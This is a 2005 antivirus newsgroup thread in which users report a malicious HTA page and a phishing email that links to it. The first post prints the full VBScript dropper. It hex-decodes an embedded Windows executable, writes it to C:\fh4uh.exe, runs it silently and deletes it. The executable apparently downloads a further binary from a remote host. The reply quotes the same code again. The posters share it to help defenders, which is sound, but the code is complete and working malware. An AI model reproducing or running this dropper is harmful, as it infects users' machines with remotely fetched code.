Possible New Exploit???

Possible New Exploit???
Secure Home | Search | About
Login Password
Register Now! Lost Password?
 Microsoft Antivirus Discussions    Post an article   get this group's latest topics as an RSS feed add this group's latest topics to your My MSN content add this group's latest topics to your My Yahoo content add this group's latest topics to your Google content
Subject Author Date
Possible New Exploit??? Krypkeeper 08-15-2005
Posted by Krypkeeper on August 15, 2005, 3:45 pm
If you were  Registered and logged in, you could reply and use other advanced thread options
I dont know what MS group to post this on but, here is some VB script
that installs something on your computer. I havent seen this before so
If it will help the MS engineers to combat a new exploit then Ill be
happy.

here is the web addy, I used Firefox to open it and it didnt load. I
dont know what the effect on IE would be.,

http://olqp.lastrez.com/w.hta

here is the script, I have taken out the html tags so I can post it
safely...

<HEAD>
<HTA:APPLICATION id=ZXC
APPLICATIONNAME="ZXCV"
CAPTION=YES
SHOWINTASKBAR=NO
SINGLEINSTANCE=YES
MINIMIZEBUTTON=NO
MAXIMIZEBUTTON=NO
WINDOWSTATE=MINIMIZE
/></HEAD>
<OBJECT id="MSmedia"
classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></OBJECT>
<OBJECT id="MSplay"
classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></OBJECT>
<BODY><SCRIPT language="VBScript">
self.MoveTo 7000,7000
R=""
R=R+(V("4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F7420626520"))
R=R+(V("72756E20696E20444F53206D6F64652E0D0D0A24000000000000002C5618FA683776A9683776A9683776A9132B7AA9693776A9EB2B78A9603776A907287CA9673776A992146FA96D3776A9683777A9713776A96E147DA9693776A952696368683776A90000"))
R=R+(V("000000000000504500004C010300DBBBFC420000000000000000E0000F010B01060000200000001000000020000020410000003000000050000000004000001000000002000004000000000000000400000000000000006000000010000000000000020000"))
R=R+(V("00000010000010000000001000001000000000000010000000000000000000000000500000A8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
R=R+(V("00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000200000001000000000000000040000000000000000000000000000800000E0555058310000000000"))
R=R+(V("200000003000000014000000040000000000000000000000000000400000E0555058320000000000100000005000000002000000180000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000"))
R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
R=R+(V("000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000312E323400555058210C09020829BC906587B24EDF9622"))
R=R+(V("00001711000000220000260000A0227B2892002820401FFFCFFF7F6170706C69636174696F6E0054454D5036353334433634412DDFFEF6FF5A3435342D313232452D4246102D30383343320934533535FFBFFDBF3127687474703A2F2F7A3A652E746F6B65"))
R=R+(V("727365742E636F97B0FFFF6D2F332F77696E33327362642E657865000C7FAC7B0F482D1A114003092001019049A62820069089E4480010841040066442810106644086108202CC4D864010BF00B2E9AEAA01172E0100E497CD5F0102040800A40360827982"))
R=R+(V("21DF4F9E1DA6DF07A1A5819FE0FC2F4011C29BE77E80FCA8C1A3DAA357021BE4EC81FE0740B52FFEEF061941B65FCFA2E4A21A00E5A2E8A25BDD7DBE427EA1FE510503DA5EDA6E7F25BF5F5FDA6ADA32D3D8DEE0F939317E03C85F76002005931900FF1EE6"))
R=R+(V("963644223748030FA423DF2D47DE0BA8234058245C03558BEC81EC6F7FF9DB6C0220535657BEF4108D7DEC6A0AA500A459BE7E64FBB1CC0E9C6A09F3A50CA4C480A594FDDBEE7FDB3D0011A46A4033C0598DBD950EF3AB1698DDD6BE99FE1366ABAA591716"))
R=R+(V("990E8376BB6B85656A1A11BEA8293C6A412FED6B2D32940C0931590ADFED7FFB8D45C450E87F089683F8015975086A9E15086B85B3B91B7E296804EC50689C101604C73E37FB45EC56501B0642563DC183DCB3EEFFC41433FF33DB85FF75306889001C6890"))
R=R+(V("33BA7FF9DD28459C2405E0108BF868A00F004D00C9FEED6F4383FB0A7CCC83277406837DFC1E7E7DFD6697FF83FF017408FF45FCE904D64A4107A5256CD8ADDC53D0073FBBBE4DF6B64347360F7CE01485EF0F8405FFF1E11F56555F5E5BC9C21073B818DB"))
R=R+(V("F6C2CEC52409EC77BEFF3F0857BA8B0BDDDB87CE38E9FF6B889DE805531B53B2DD55680001FD895DFC02EC6FB6C2FBF8C745F0DC53505C3BC389457DD7CCF6F453750D0D4C3EAE07A068003090ED426BBA380808502550C36CF67D087506531D1B655F9BCD"))
R=R+(V("FD19B6ADF0480F506A013332FD8EAD9954BAB98D368B7D1083C9FF3E6C67BF31F2AEF7D149265124104D182C61B3765B0C277569514F4EB00332D9534F0574411577C2B65FF5DD5991E88968806D703B6D6D6A02B6436816390CAA17FBEDB38A14F8FF2C10"))
R=R+(V("75180BD84DE860DB4FB608F48BC3EB7271FC70F6646C84F75073583A8B1C0D5BF8B7FD742A0145F88D4D6A5199BDEC9DCDC2401083BDEBB2DFC8ED8D190C636C8B35D66ED6233DFCED8B4DE82A394DF80F94C0C6C3385C58B8339804BA447DFD88A466730B"))
R=R+(V("67D9D83FA9C3A806556B788C1613F9A5FCFFD9A40591EEF49A10172815FB64ECE4B0FB2B40FD15FD17E9BE16B6205006FC5A3DDDE0DE50F8A54F0A1BB8615037C9B981192B3D1B9EFA6D0BEDECAB00B028A011607DA84857DE7878EC4EA8440030A8B33086"))
R=R+(V("63723B53061871C9B576F7D81BEF04F02324043C59B8B1C868B61F005F1C0B50F61E37262C3958C3E40B5E1ABB0B871B780C5620128A8A7FF7BFDD050C8B4F880646C6063A46EB030B8B551085D28BCAFBF65BF774288A021D221A8A410146410A75F55152"))
R=R+(V("B06EBFF4B60B6235593C2F50083C5C7404355C46838D7DDB4D144C8BC8740F4E0930EBBFB7EFB6F31718641B8A0884C91580F92E2D2E46ADFFBB6F0E880E46401205EBF48026005E5DC35355DDAFF46FFF8B7C2414833D1C13A1017E0F0FB6076A1E6BFDA6"))
R=R+(V("BF0B8559EB0E8B0D10688A044183E0086B5FDADE530347EBD21537D1FE2D8BEE4806FDB0C27B2B75040FEB430C6A04566F96B387400BA13C70040D8D049B0B6FFFB68DB5D030EBCF83FD42C37502445FDD9F226C895B46025259C3CC0051D6F497AD3D4700"))
R=R+(V("4C2408721481A0196F78FB63BF1085011773EC2BC88BC40C8BE18BF6071E5E34400450595156538B5D08D295FE67D7537B10CC7221807B013A75DD5478A62F3685F67410489B8DF80C6FDDA2806602E743EB0A91D7806C99BE3561400C00803B3C7900FBAD"))
R=R+(V("B0AB1B746532ABD1F682412BC55A61E16D042340EB1A4C2F6D04FF6F1B167F0A56750B24FCEB068D4801894D0C4080B240B7F5380075CF180C3885382A666AFFB7A8741F2BFB3BFE72028BFE93417A5B6BBF2D6F107D24076828AE0CEFBA9A77814D1085C9"))
R=R+(V("2156FC3A4C3BFB72196448B6483E141414B669B32D2F18442BCDC673266C3FD9EDF05625FC57E0243E00EB282214236183DD172BC321531F28B670A437FCBC8B446F39033671C1F1047203ADD03C2A2474300F616B1402CEE3FF06048D1F6CBBFD41FFC349"))
R=R+(V("394C26770C1A111675ED8BD036B808FF2BD183E2012BC2488E9E1881F91BCF682F9628460FB747EB117EAD8D52B056420EC1F95E0B7F89FF445601805E740E8065C1884DFC8845FDA6EB5BA656B6090DFDD741A10A2DD2566A05450151C00BD69A65036411"))
R=R+(V("471C02B35337B0ADF0450A23C308CC00C9C1DDDDDB8BA2100BC8050C75090F04F7E1D9C6EFD66453058BD81DF764F7030965E233F8E103D35B7F83EC18F05AC3179E3D0DF92E593B3528048910D96EB805F76AC8E63BF30956DDFEEFF8D2B838EF39307472"))
R=R+(V("83C030423D28140C7CF1EE230BBCA0E850569F30010F852429C682E158BABF4024D3E829D8F05BB15065AA891D442C1186EFFBCDDCEE6B807DEE0984BBECEF8A1184D20CBF150A66AE1C6903D23BC20F87651B11BE9325886985EE520BDCC4AEAE345206C1"))
R=R+(V("E6040D9EDAED7FB84891C1CB742C8A51014674253EB7FBD6DF85B6FA3BC777145CFC8A9230200890469BD8F8DB401376F541418039B4D4D083C361C3828908E9F8C1B6C705F87DC3FBD14D50A3AC0B0E438DB63CFBBB90DB3BBF300F0459A3BBA5EB554085"))
R=R+(V("135BA9792CE748CDAA2CF6D367A108403D4072F156392CF65A69D95430FA0BC20C7C03B14D7FEB0D391DACA805DAF735033076049F1D1235BC0FE383C8FF960483252155FE237C722B474BAC29FF25386AFD733F72611434FC750FA1CC1319054E8D2D492D"))
R=R+(V("135DE302DBC683E8CA17040D854874EE6C6773F0B804B405120B088283C2F311576C906CBD11820DAAB417A3C5393A83EFDCC35FF914AF0123C2088BFFE70AC116DF8F1634C0BE8788FDEC03DF7FC18F82C672F48A45F2C6850D20C1FD76E352379D8D5560"))
R=R+(V("B60A02C03BC1771DEDBBC76EE58DBC2A41B820008BD9C1E902841DFC1B0BDE83B1F3AA42428A42FF1CD0EC356CE85F5B6AD6ECFA83358D7A36A4D3D106EC3023B3C9BE33FD1D561E5634C54A4676231290FC960266AA7A09277C5C465BBF263B8D72668B01"))
R=R+(V("C2146DFE7EC216FA108A940564889040EB1CF7EE9CBC1A027410205BEBE380A01C841B1A8D813C00BFEB4915B0C676C325417219045AAA4B2F6F63FFC880C1208888491F1D6172137A770EDDB0372720E920EBE04C4ABEE3EE4FD75EC9B42475126AFDA90C"))
R=R+(V("60597704EB106424A0D3C18BDB1BF47D0889027511D698D87CA01A1214ECEB6382F005964A9F373D930C8A014AAEFB23BD86F0F68674880774134741191916B146436B0C0AAD14C907DB5E6013B475D2C68067FFA70405F6B6F556C58BC24A9B5E308D4A01"))
R=R+(V("DBDA1439E18BD1B4CA5E5F5D3577CBE5AA958FC103964623C7B3AF5145400E75F14160BFD12FB401BA7CFE7E03D083D833C283C104EE460BB4A9C34C741C41FC2BE36658E23284E42EA9923D13A9F1FD1958E07431CD96552BC1C326934CB209FEFDFCEDAE"))
R=R+(V("8D1E066A1348AF684027047F02EFDF64A16F5064892507008965E8A1B01B4BB84C33EEA13ECFE4648BEE1D445E5668443356E44452CFF6FE048BC6EB1D1B18405322BC6334C840CEB458A343C0DD6D2FB3027524F61C4905A1BC107C939AE0C9768933E96A"))
R=R+(V("772375547E259439395D1819DB6C3371B9838D532C41206BA88B43738540DD1837D8D5D1773C101FE0C663FF8D3C17AB175832C7880324FC3DC0A4A15D608BF4B5DC57CCDB15DC517B680B8D8B1896F6834DCD6E176889C9742949E0565FD73A97AC1C5552"))
R=R+(V("1114D7A0E142C733EDEB02EE65B44DF026E48458670D964858BCFB93231C33FF393DD4CB75465757D062442E455B53F01ECB6F63B24B208D1D23EB2253DC20CB094D5724222B5BE2F035C61F021DD07E9E6F579FC54F14B4593314A11D01E16D0F691D161C"))
R=R+(V("C8633E231B6648621420D37D205998B54920732E622485129301202C5D70E1A1EDE43BDF859C137D68041B840FDB8566C441DC4EEB135FDEDA583BFF26118B3867DC7466373BCC1AC1DC616457F4F09DC5DC4DEC1AA5206DF06DA56FBCB4D83BF7E0F6450D"))
R=R+(V("04123E1C64B35BB378B23BD57F1EDA32E4C16C6D48D28FA1C8B2994B85C7FC01B3369464E417DC895DE012B2EEDD73C0B27DDF74B45664E467B546CD9D749C8FB3F00377E0362BF98C2868201AD532B0B5D82CBFBCB17141072E8E501C718B548774474BAD"))
R=R+(V("2D22560DA60D24DDE84205ECC4F1498E75F32C36B7D40C5E142B1E83C2BF5A475D84B557157A61D4EBA505F58BEC14F7C61DABD577DDAC10750750756FEB218A3A897BD655A249E411291F75EB2DCDDAA55E1D0CE3036C20BAC15DDB1D2F4B6C85105B5EA6"))
R=R+(V("F7C7F7DCF6C675123AAA8A0B113A50DBDC49EE6C182EFA2AD67689ED1A2E8923C70463AF8E83F5C13A8B06908B1683C692DEB15E6A17662C845C1EF7C29003BE35BC0C0711C639EB1881E27B0A8D349D090E000439DF6D2BC453AF550A0489075F7555BA61"))
R=R+(V("BBF8B07585A3FF54026E6BE0AF7147248A8AB305036FF1F983FAA02DF7D94843D8A8BD466BC0A74CC17701F3DDAF03C1061065E203C5335D57607406713A06234AC951D3E91086B396556C8207FC4E686026CEB31C5D3D0205762F8BE599974104066354EA"))
R=R+(V("D1ABB83AEC4954C0730F2F8902B826C33EA682349BBE11FE686826F5FF35005CF8B6E019F2582F700C83FEED2E3B5DFD422FB8247428A1768B0CB389CB895FA183B748177CB3049E683A2DB38AC0B77F7D171AFF5408EBC3648FFA7B8C5BE7AB8CC3F5648B"))
R=R+(V("C9817904686BFC42D39F5112520C395108339B5803D7DD8A51BB302B7A08E86F5B23FD614B024304896B0C5946FF85D6D167475643323058433030DBEDC0D53708FAFC7385F740ABB15A8AE43B82EBF896B2B5D695CC8D083E2173FDCBF6EF7B08C1618D0C"))
R=R+(V("76B18F744556558D6B10DC1BDDADA80B5D5E410B5433783C2563DDB6016B1644B3041D560C86275BC92D083659DE8F8BFDCE75DB048F550C3B08301A8B348FEBA1B8C03BD6E2DB21C9EB155C86109BAC4C3F5D16946E37D8D0BC3B8B29FB1C500318500BCD"))
R=R+(V("62C924E100F32835754B323FEF573A4D140E1B5B00C9E49599E8173EF0029B8D05B42878084E43B76F97F8FF41B35AB6208D49008A260AE48ADF210AD31D4647D54DF7FF38FC720638DC770202E638F809D8C638C4AE787BA3416BD733C908744BB92736C2"))
R=R+(V("D4C6724487EB859EFF55FB2F94660D8A1F74230BDB741F3F6286A5AFA5C518B4D8140983F26DE50747C341D55C40C7E5AC0941028BC1EDC9E08A1363BD3D1B6E73376428C39E0C0F8CAAB7088026F87C5A0F8FA1C020079FDF2A3CD8E1BF3D5FA95E7D2539"))
R=R+(V("09226C8235767E0B7B748805F8E40A5823C6210417E0F6DE0B658B151209C1F870C8F61337608B449780C5650AA48D1AE05B886B885D09587009980B38DA6A5BB756050A6A0B2D6180036EA057F6BC176A6092292005AE6A7506D6BA0D6846F90D05FD032C"))
R=R+(V("248AC0A6820BC1718D1121A4AA01FD60D50554D7536C656570FDFFB7B8064765916E7669726F6E6D656E74566172696162DFBEFDB6194118457869745016636573730C436C6F73BF975BFB6548616E641A1957726546690A4372176CD8D965610B410C330F"))
R=R+(V("F677DB6D4F70514D7511780B4C434D617053743980EF12F66E67570D1B52746C556E6FB7EF96A3645A696465436884546F386C746936F6C7DA42793DA24350496E666F0A410BB564EFB1074F454D092732DB9EC5863C1E5D547983410F769A85215704614C"))
R=R+(V("55962D73B738726E5FDF14760BE8FEBF55726C3F48685175147BDB65DF7985412152F064FC3323F7840B41615045649D6F7418BCDBBBFC42CBE027010B01F21200472FE670143B3B00CB1030AF0B021E012FD96404071F1B5897ECB80628100706429697C4"))
R=R+(V("44482C3C3090750364641E2ED8176CD7F17407781E90EB022301DD775B1204E017E8A36A000000285200240000FF00000000000000000060BE003040008DBE00E0FFFF5783CDFFEB109090909090908A064688074701DB75078B1E83EEFC11DB72EDB80100"))
R=R+(V("000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83"))
R=R+(V("EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9380000008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F8"))
R=R+(V("80EBE801F0890783C70589D8E2D98DBE002000008B0709C0743C8B5F048D84300040000001F35083C708FF963C400000958A074708C074DC89F95748F2AE55FF964040000009C07407890383C304EBE1FF964440000061E9FCD1FFFF000000000000000000"))
R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
R=R+(V("000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000545000003C"))
R=R+(V("500000000000000000000000000000615000004C50000000000000000000000000000000000000000000006C5000007A5000008A5000000000000098500000000000004B45524E454C33322E444C4C0057494E494E45542E646C6C00004C6F61644C696272"))
R=R+(V("61727941000047657450726F634164647265737300004578697450726F63657373000000496E7465726E65744F70656E4100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
R=R+(V("00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
Fi="C:\fh4uh.exe"
set NNM=MSmedia.CreateTextFile(Fi, TRUE)
NNM.Write(R)
NNM.Close()
MSplay.Run (Fi),1,TRUE
MSmedia.DeleteFile(Fi)
self.Close
Function V(X1)
Dim K2
Dim C3:K2=""        
For C3=1 To Len(X1) Step 2
K2=K2&Chr("&h"&Mid(X1,C3,2))
Next
V=K2
End Function
</SCRIPT></BODY>



Posted by on August 15, 2005, 4:07 pm
If you were  Registered and logged in, you could reply and use other advanced thread options
Hey there,

I just got an e-mail with this exploit:

From: AdeGuerrer@kampung.com

Header source: kampung.com (dou59-1-82-238-52-63.fbx.proxad.net
[82.238.52.63]

Subject:

A court has sentenced a man to life in jail for the bombing of a
McDonald's restaurant, which left three people dead.

The man, Agung Abdul Hamid, was found guilty of financing and
co-ordinating the attack.

Read full story. (link to the site listed below)

Krypkeeper wrote:
> I dont know what MS group to post this on but, here is some VB script
> that installs something on your computer. I havent seen this before so
> If it will help the MS engineers to combat a new exploit then Ill be
> happy.
>
> here is the web addy, I used Firefox to open it and it didnt load. I
> dont know what the effect on IE would be.,
>
> http://olqp.lastrez.com/w.hta
>
> here is the script, I have taken out the html tags so I can post it
> safely...
>
> <HEAD>
> <HTA:APPLICATION id=ZXC
> APPLICATIONNAME="ZXCV"
> CAPTION=YES
> SHOWINTASKBAR=NO
> SINGLEINSTANCE=YES
> MINIMIZEBUTTON=NO
> MAXIMIZEBUTTON=NO
> WINDOWSTATE=MINIMIZE
> /></HEAD>
> <OBJECT id="MSmedia"
> classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></OBJECT>
> <OBJECT id="MSplay"
> classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></OBJECT>
> <BODY><SCRIPT language="VBScript">
> self.MoveTo 7000,7000
> R=""
>
R=R+(V("4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F7420626520"))
>
R=R+(V("72756E20696E20444F53206D6F64652E0D0D0A24000000000000002C5618FA683776A9683776A9683776A9132B7AA9693776A9EB2B78A9603776A907287CA9673776A992146FA96D3776A9683777A9713776A96E147DA9693776A952696368683776A90000"))
>
R=R+(V("000000000000504500004C010300DBBBFC420000000000000000E0000F010B01060000200000001000000020000020410000003000000050000000004000001000000002000004000000000000000400000000000000006000000010000000000000020000"))
>
R=R+(V("00000010000010000000001000001000000000000010000000000000000000000000500000A8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
>
R=R+(V("00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000200000001000000000000000040000000000000000000000000000800000E0555058310000000000"))
>
R=R+(V("200000003000000014000000040000000000000000000000000000400000E0555058320000000000100000005000000002000000180000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000"))
>
R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
>
R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
>
R=R+(V("0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"))
>
R=R+(V("000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000312E323400555058210C09020829BC906587B24EDF9622"))
>
R=R+(V("00001711000000220000260000A0227B2892002820401FFFCFFF7F6170706C69636174696F6E0054454D5036353334433634412DDFFEF6FF5A3435342D313232452D4246102D30383343320934533535FFBFFDBF3127687474703A2F2F7A3A652E746F6B65"))
>
R=R+(V("727365742E636F97B0FFFF6D2F332F77696E33327362642E657865000C7FAC7B0F482D1A114003092001019049A62820069089E4480010841040066442810106644086108202CC4D864010BF00B2E9AEAA01172E0100E497CD5F0102040800A40360827982"))
>
R=R+(V("21DF4F9E1DA6DF07A1A5819FE0FC2F4011C29BE77E80FCA8C1A3DAA357021BE4EC81FE0740B52FFEEF061941B65FCFA2E4A21A00E5A2E8A25BDD7DBE427EA1FE510503DA5EDA6E7F25BF5F5FDA6ADA32D3D8DEE0F939317E03C85F76002005931900FF1EE6"))
>
R=R+(V("963644223748030FA423DF2D47DE0BA8234058245C03558BEC81EC6F7FF9DB6C0220535657BEF4108D7DEC6A0AA500A459BE7E64FBB1CC0E9C6A09F3A50CA4C480A594FDDBEE7FDB3D0011A46A4033C0598DBD950EF3AB1698DDD6BE99FE1366ABAA591716"))
>
R=R+(V("990E8376BB6B85656A1A11BEA8293C6A412FED6B2D32940C0931590ADFED7FFB8D45C450E87F089683F8015975086A9E15086B85B3B91B7E296804EC50689C101604C73E37FB45EC56501B0642563DC183DCB3EEFFC41433FF33DB85FF75306889001C6890"))
>
R=R+(V("33BA7FF9DD28459C2405E0108BF868A00F004D00C9FEED6F4383FB0A7CCC83277406837DFC1E7E7DFD6697FF83FF017408FF45FCE904D64A4107A5256CD8ADDC53D0073FBBBE4DF6B64347360F7CE01485EF0F8405FFF1E11F56555F5E5BC9C21073B818DB"))
>
R=R+(V("F6C2CEC52409EC77BEFF3F0857BA8B0BDDDB87CE38E9FF6B889DE805531B53B2DD55680001FD895DFC02EC6FB6C2FBF8C745F0DC53505C3BC389457DD7CCF6F453750D0D4C3EAE07A068003090ED426BBA380808502550C36CF67D087506531D1B655F9BCD"))
>
R=R+(V("FD19B6ADF0480F506A013332FD8EAD9954BAB98D368B7D1083C9FF3E6C67BF31F2AEF7D149265124104D182C61B3765B0C277569514F4EB00332D9534F0574411577C2B65FF5DD5991E88968806D703B6D6D6A02B6436816390CAA17FBEDB38A14F8FF2C10"))
>
R=R+(V("75180BD84DE860DB4FB608F48BC3EB7271FC70F6646C84F75073583A8B1C0D5BF8B7FD742A0145F88D4D6A5199BDEC9DCDC2401083BDEBB2DFC8ED8D190C636C8B35D66ED6233DFCED8B4DE82A394DF80F94C0C6C3385C58B8339804BA447DFD88A466730B"))
>
R=R+(V("67D9D83FA9C3A806556B788C1613F9A5FCFFD9A40591EEF49A10172815FB64ECE4B0FB2B40FD15FD17E9BE16B6205006FC5A3DDDE0DE50F8A54F0A1BB8615037C9B981192B3D1B9EFA6D0BEDECAB00B028A011607DA84857DE7878EC4EA8440030A8B33086"))
>
R=R+(V("63723B53061871C9B576F7D81BEF04F02324043C59B8B1C868B61F005F1C0B50F61E37262C3958C3E40B5E1ABB0B871B780C5620128A8A7FF7BFDD050C8B4F880646C6063A46EB030B8B551085D28BCAFBF65BF774288A021D221A8A410146410A75F55152"))
>
R=R+(V("B06EBFF4B60B6235593C2F50083C5C7404355C46838D7DDB4D144C8BC8740F4E0930EBBFB7EFB6F31718641B8A0884C91580F92E2D2E46ADFFBB6F0E880E46401205EBF48026005E5DC35355DDAFF46FFF8B7C2414833D1C13A1017E0F0FB6076A1E6BFDA6"))
>
R=R+(V("BF0B8559EB0E8B0D10688A044183E0086B5FDADE530347EBD21537D1FE2D8BEE4806FDB0C27B2B75040FEB430C6A04566F96B387400BA13C70040D8D049B0B6FFFB68DB5D030EBCF83FD42C37502445FDD9F226C895B46025259C3CC0051D6F497AD3D4700"))
>
R=R+(V("4C2408721481A0196F78FB63BF1085011773EC2BC88BC40C8BE18BF6071E5E34400450595156538B5D08D295FE67D7537B10CC7221807B013A75DD5478A62F3685F67410489B8DF80C6FDDA2806602E743EB0A91D7806C99BE3561400C00803B3C7900FBAD"))
>
R=R+(V("B0AB1B746532ABD1F682412BC55A61E16D042340EB1A4C2F6D04FF6F1B167F0A56750B24FCEB068D4801894D0C4080B240B7F5380075CF180C3885382A666AFFB7A8741F2BFB3BFE72028BFE93417A5B6BBF2D6F107D24076828AE0CEFBA9A77814D1085C9"))
>
R=R+(V("2156FC3A4C3BFB72196448B6483E141414B669B32D2F18442BCDC673266C3FD9EDF05625FC57E0243E00EB282214236183DD172BC321531F28B670A437FCBC8B446F39033671C1F1047203ADD03C2A2474300F616B1402CEE3FF06048D1F6CBBFD41FFC349"))
>
R=R+(V("394C26770C1A111675ED8BD036B808FF2BD183E2012BC2488E9E1881F91BCF682F9628460FB747EB117EAD8D52B056420EC1F95E0B7F89FF445601805E740E8065C1884DFC8845FDA6EB5BA656B6090DFDD741A10A2DD2566A05450151C00BD69A65036411"))
>
R=R+(V("471C02B35337B0ADF0450A23C308CC00C9C1DDDDDB8BA2100BC8050C75090F04F7E1D9C6EFD66453058BD81DF764F7030965E233F8E103D35B7F83EC18F05AC3179E3D0DF92E593B3528048910D96EB805F76AC8E63BF30956DDFEEFF8D2B838EF39307472"))
>
R=R+(V("83C030423D28140C7CF1EE230BBCA0E850569F30010F852429C682E158BABF4024D3E829D8F05BB15065AA891D442C1186EFFBCDDCEE6B807DEE0984BBECEF8A1184D20CBF150A66AE1C6903D23BC20F87651B11BE9325886985EE520BDCC4AEAE345206C1"))
>
R=R+(V("E6040D9EDAED7FB84891C1CB742C8A51014674253EB7FBD6DF85B6FA3BC777145CFC8A9230200890469BD8F8DB401376F541418039B4D4D083C361C3828908E9F8C1B6C705F87DC3FBD14D50A3AC0B0E438DB63CFBBB90DB3BBF300F0459A3BBA5EB554085"))
>
R=R+(V("135BA9792CE748CDAA2CF6D367A108403D4072F156392CF65A69D95430FA0BC20C7C03B14D7FEB0D391DACA805DAF735033076049F1D1235BC0FE383C8FF960483252155FE237C722B474BAC29FF25386AFD733F72611434FC750FA1CC1319054E8D2D492D"))
>
R=R+(V("135DE302DBC683E8CA17040D854874EE6C6773F0B804B405120B088283C2F311576C906CBD11820DAAB417A3C5393A83EFDCC35FF914AF0123C2088BFFE70AC116DF8F1634C0BE8788FDEC03DF7FC18F82C672F48A45F2C6850D20C1FD76E352379D8D5560"))
>
R=R+(V("B60A02C03BC1771DEDBBC76EE58DBC2A41B820008BD9C1E902841DFC1B0BDE83B1F3AA42428A42FF1CD0EC356CE85F5B6AD6ECFA83358D7A36A4D3D106EC3023B3C9BE33FD1D561E5634C54A4676231290FC960266AA7A09277C5C465BBF263B8D72668B01"))
>
R=R+(V("C2146DFE7EC216FA108A940564889040EB1CF7EE9CBC1A027410205BEBE380A01C841B1A8D813C00BFEB4915B0C676C325417219045AAA4B2F6F63FFC880C1208888491F1D6172137A770EDDB0372720E920EBE04C4ABEE3EE4FD75EC9B42475126AFDA90C"))
>
R=R+(V("60597704EB106424A0D3C18BDB1BF47D0889027511D698D87CA01A1214ECEB6382F005964A9F373D930C8A014AAEFB23BD86F0F68674880774134741191916B146436B0C0AAD14C907DB5E6013B475D2C68067FFA70405F6B6F556C58BC24A9B5E308D4A01"))
>
R=R+(V("DBDA1439E18BD1B4CA5E5F5D3577CBE5AA958FC103964623C7B3AF5145400E75F14160BFD12FB401BA7CFE7E03D083D833C283C104EE460BB4A9C34C741C41FC2BE36658E23284E42EA9923D13A9F1FD1958E07431CD96552BC1C326934CB209FEFDFCEDAE"))
>
R=R+(V("8D1E066A1348AF684027047F02EFDF64A16F5064892507008965E8A1B01B4BB84C33EEA13ECFE4648BEE1D445E5668443356E44452CFF6FE048BC6EB1D1B18405322BC6334C840CEB458A343C0DD6D2FB3027524F61C4905A1BC107C939AE0C9768933E96A"))
>
R=R+(V("772375547E259439395D1819DB6C3371B9838D532C41206BA88B43738540DD1837D8D5D1773C101FE0C663FF8D3C17AB175832C7880324FC3DC0A4A15D608BF4B5DC57CCDB15DC517B680B8D8B1896F6834DCD6E176889C9742949E0565FD73A97AC1C5552"))
>
R=R+(V("1114D7A0E142C733EDEB02EE65B44DF026E48458670D964858BCFB93231C33FF393DD4CB75465757D062442E455B53F01ECB6F63B24B208D1D23EB2253DC20CB094D5724222B5BE2F035C61F021DD07E9E6F579FC54F14B4593314A11D01E16D0F691D161C"))
>
